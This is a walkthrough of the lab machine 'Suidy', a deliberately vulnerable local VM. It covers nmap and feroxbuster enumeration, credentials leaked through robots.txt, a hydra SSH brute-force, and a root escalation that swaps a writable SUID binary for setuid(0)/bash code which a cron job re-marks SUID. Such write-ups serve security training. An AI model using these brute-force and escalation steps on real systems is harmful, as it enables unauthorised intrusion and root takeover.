This is a Linux machine with SSH and Web services enabled. By inspecting the robots.txt file, we discovered a special directory named shehatesme, which provided hints for a batch of username/password credentials. We used these credentials to brute-force SSH access and successfully gained an initial foothold on the system.

Based on a hint from the machine's name, we searched for files which the SUID bit set and found a root-owned executable called suidyyyyy. However, this binary could not be directly exploited. In fact, it calls setuid(1001) to switch to another user before spawning a bash shell.

Fortunately, the initial user we compromised, theuser, belongs to a group that has write permissions on this file. Using pspy, we discovered that the root user runs a cron job every minute to reapply the SUID bit to this file. Taking advantage of this, we compiled our own executable containing setuid(0);system("/bin/bash"); and replaced the original suidyyyyy binary with it. After waiting for the cron job to restore the SUID bit, we executed the modified binary and successfully obtained a root shell.

Summary

Scope

  • Name: Suidy
  • Difficulty: Easy
  • OS: Linux
  • IP: Local VM

Learned

  • Sometimes robots.txt could leak secrets.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Tue Mar  3 11:30:47 2026 as: nmap -sT --min-rate 3000 -p- -oN overall 192.168.1.103
Nmap scan report for 192.168.1.103
Host is up (0.00016s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Tue Mar  3 11:30:51 2026 -- 1 IP address (1 host up) scanned in 4.39 seconds

Detail

# Nmap 7.98 scan initiated Tue Mar  3 11:31:17 2026 as: nmap -sC -sV -O -vv -p22,80 -oN detail 192.168.1.103
Nmap scan report for 192.168.1.103
Host is up, received arp-response (0.00044s latency).
Scanned at 2026-03-03 11:31:21 CST for 7s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8a:cb:7e:8a:72:82:84:9a:11:43:61:15:c1:e6:32:0b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC4YhI83WArQiDfcO80GMcc4DUDFQhmC4IKFDhVK7bxC9+pYtaUygCXDTZSLoX5BXnnvtbfF+wYT7MVIGxj39znToblF2I3vcJ2GZEt96KcyT4RshL18HKS79VT7TC5whrh/PhY8GNb2Xn5ignDCMFaH+RCwg9mWp+Yiu9r8svmsMFhxM48y7DVn1vlBrcx1HAns8fA+tA0OtXOsmuFKnh/jymMUOYfhSEvdHGsK4CpeSEJa3JVIJULe9mwHViuCmT7O0EUjLcZmIef04GnVSXKL3xugYWN0HXQkQvxMP2v2KgaxT7AfUYKbPSEZnmLng4VpAOmKdYLEdUvyzVhz/9J
|   256 7a:0e:b6:dd:8f:ee:a7:70:d9:b1:b5:6e:44:8f:c0:49 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBNmp0dgK7l7S9NTd1XRhz4/2CKDn+uA0o9g87Z1lpOKEap9UTQ9RjxYGu9L22LKWyj+Sb1sm/P5AU5zyT4VWhE=
|   256 80:18:e6:c7:01:0e:c6:6d:7d:f4:d2:9f:c9:d0:6f:4c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGAC9758/9c/Hgq5Bc/VNn4Bf4DgrAw2Nr4ZT0k8PiI8
80/tcp open  http    syn-ack ttl 64 nginx 1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:E2:7C:7B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/3%OT=22%CT=%CU=31997%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69A65610%P=x86_64-pc-linux-gnu)SEQ(SP=FC%GCD=1%ISR=102%TI=Z%CI=Z%II=I%TS
OS:=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M
OS:5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE
OS:88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q
OS:=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y
OS:%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T
OS:=40%CD=S)

Uptime guess: 8.046 days (since Mon Feb 23 10:25:11 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=252 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar  3 11:31:28 2026 -- 1 IP address (1 host up) scanned in 11.71 seconds

UDPScan

# Nmap 7.98 scan initiated Tue Mar  3 11:31:32 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.103
Nmap scan report for 192.168.1.103
Host is up (0.00048s latency).

PORT      STATE         SERVICE
53/udp    open|filtered domain
67/udp    open|filtered dhcps
68/udp    open|filtered dhcpc
69/udp    closed        tftp
111/udp   open|filtered rpcbind
123/udp   closed        ntp
135/udp   closed        msrpc
136/udp   open|filtered profile
137/udp   open|filtered netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   closed        syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
996/udp   closed        vsinet
997/udp   open|filtered maitrd
998/udp   closed        puparp
999/udp   closed        applix
1434/udp  open|filtered ms-sql-m
1701/udp  open|filtered L2TP
1812/udp  closed        radius
1900/udp  open|filtered upnp
3283/udp  closed        netassistant
4500/udp  closed        nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp open|filtered unknown
49153/udp open|filtered unknown
49154/udp closed        unknown
MAC Address: 08:00:27:E2:7C:7B (Oracle VirtualBox virtual NIC)

# Nmap done at Tue Mar  3 11:31:47 2026 -- 1 IP address (1 host up) scanned in 15.03 seconds

Web

First I try web enumeration with feroxbuster and only get one target: robots.txt.

200      GET        3l        5w       22c http://192.168.1.103/
200      GET      324l        3w      362c http://192.168.1.103/robots.txt

If we access this robots.txt, we will discover that it leak a special directory at last line of it.

/hi
/....\..\.-\--.\.-\..\-.


# here I omit plenty of empty lines



/shehatesme

And then the special file shehatesme.txt will hint us there are plenty of credentials.

She hates me because I FOUND THE REAL SECRET!
I put in this directory a lot of .txt files.
ONE of .txt files contains credentials like "theuser/thepass" to access to her system!
All that you need is an small dict from Seclist!

After filter out txt extension for common.txt wordlist, I get a list of file that fills with credentials.

 ❰curtain❙~/workspace/shooting/hmvm/suidy❱✔≻ feroxbuster -u http://192.168.1.103/shehatesme/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 64 -x txt

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.103/shehatesme
 🚩  In-Scope Url          │ 192.168.1.103
 🚀  Threads               │ 64
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [txt]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      169c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        7l       12w      185c http://192.168.1.103/shehatesme => http://192.168.1.103/shehatesme/
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/2001.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/about.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/admin.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/art.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/blog.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/es.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/faqs.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/folder.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/forums.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/full.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/google.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/guide.txt
200      GET        6l       42w      229c http://192.168.1.103/shehatesme/index.html
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/issues.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/java.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/jobs.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/link.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/network.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/new.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/other.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/page.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/privacy.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/search.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/secret.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/smilies.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/space.txt
200      GET        1l        1w       16c http://192.168.1.103/shehatesme/welcome.txt

Then I write a simple shell script to download them all.

#!/bin/bash

BASE_URL="http://192.168.1.103/shehatesme"
TARGET_DIR="shehatesme"

mkdir -p "$TARGET_DIR"

files=(
2001.txt
about.txt
admin.txt
art.txt
blog.txt
es.txt
faqs.txt
folder.txt
forums.txt
full.txt
google.txt
guide.txt
issues.txt
java.txt
jobs.txt
link.txt
network.txt
new.txt
other.txt
page.txt
privacy.txt
search.txt
secret.txt
smilies.txt
space.txt
welcome.txt
)

for file in "${files[@]}"; do
    echo "[+] Downloading $file ..."
    curl -s -o "$TARGET_DIR/$file" "$BASE_URL/$file"
done

echo "[+] All files downloaded."

I use following command to split out username and password for hydra.

cat shehatesme/* | sort | uniq | cut -d/ -f1 > user.txt
cat shehatesme/* | sort | uniq | cut -d/ -f2 > pass.txt

Last but not least, don't forget the theuser/thepass credential that provided by shehatesme.

Foothold

SSH

I try brute-force SSH service with that credentials, and then it successful gains the correct one.

❰curtain❙~/workspace/shooting/hmvm/suidy❱✔≻ hydra -L user.txt -P pass.txt 192.168.1.103 ssh -t 4
[DATA] max 4 tasks per 1 server, overall 4 tasks, 81 login tries (l:9/p:9), ~21 tries per task
[DATA] attacking ssh://192.168.1.103:22/
[STATUS] 79.00 tries/min, 79 tries in 00:01h, 2 to do in 00:01h, 4 active
[22][ssh] host: 192.168.1.103   login: theuser   password: thepass
1 of 1 target successfully completed, 1 valid password found

Privilege Escalation

Based on a hint from the machine's name, we searched for files which the SUID bit set and found a root-owned executable called suidyyyyy.

theuser@suidy:~$ find / -mount -perm -u=s 2>/dev/null
/home/suidy/suidyyyyy
/usr/bin/su
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device

theuser@suidy:~$ ls -l /home/suidy/
total 24
-r--r----- 1 suidy suidy     197 sep 26  2020 note.txt
-rwsrwsr-x 1 root  theuser 16704 sep 26  2020 suidyyyyy

Download that binary and load it with IDA will get this:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  setuid(1001u);
  setgid(1001u);
  system("/bin/bash");
  return 0;
}

So this binary cann't be exploited directly. And I notice that I(theuser) can write this binary. So I can replace it with something like this:

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

But replacement will clear the SUID bit which will cause setuid failed. Then the problem become how to restore the SUID bit after replacement? The cronjob may help us. I use pspy for that purpose. And luckily, I notice that the root user runs a cron job every minute to reapply the SUID bit to this file.

2026/03/03 05:59:39 CMD: UID=0     PID=1      | /sbin/init
2026/03/03 06:00:01 CMD: UID=0     PID=748    | /usr/sbin/CRON -f
2026/03/03 06:00:01 CMD: UID=0     PID=749    | /usr/sbin/CRON -f
2026/03/03 06:00:01 CMD: UID=0     PID=750    | /bin/sh -c sh /root/timer.sh
2026/03/03 06:00:01 CMD: UID=0     PID=751    | sh /root/timer.sh
2026/03/03 06:00:01 CMD: UID=0     PID=752    | chmod +s /home/suidy/suidyyyyy

So replace the original binary with setuid(0) and wait SUID bit reapply again, then I get the root shell.

theuser@suidy:/tmp$ ls -l /home/suidy/suidyyyyy
-rwsrwsr-x 1 root theuser 16712 mar  3 05:59 /home/suidy/suidyyyyy
theuser@suidy:/tmp$ /home/suidy/suidyyyyy
root@suidy:/tmp# id
uid=0(root) gid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(theuser)
root@suidy:/tmp# cd /root
root@suidy:/root# ls
root.txt  timer.sh


root@suidy:/root# cat timer.sh
#!/bin/sh
chmod +s /home/suidy/suidyyyyy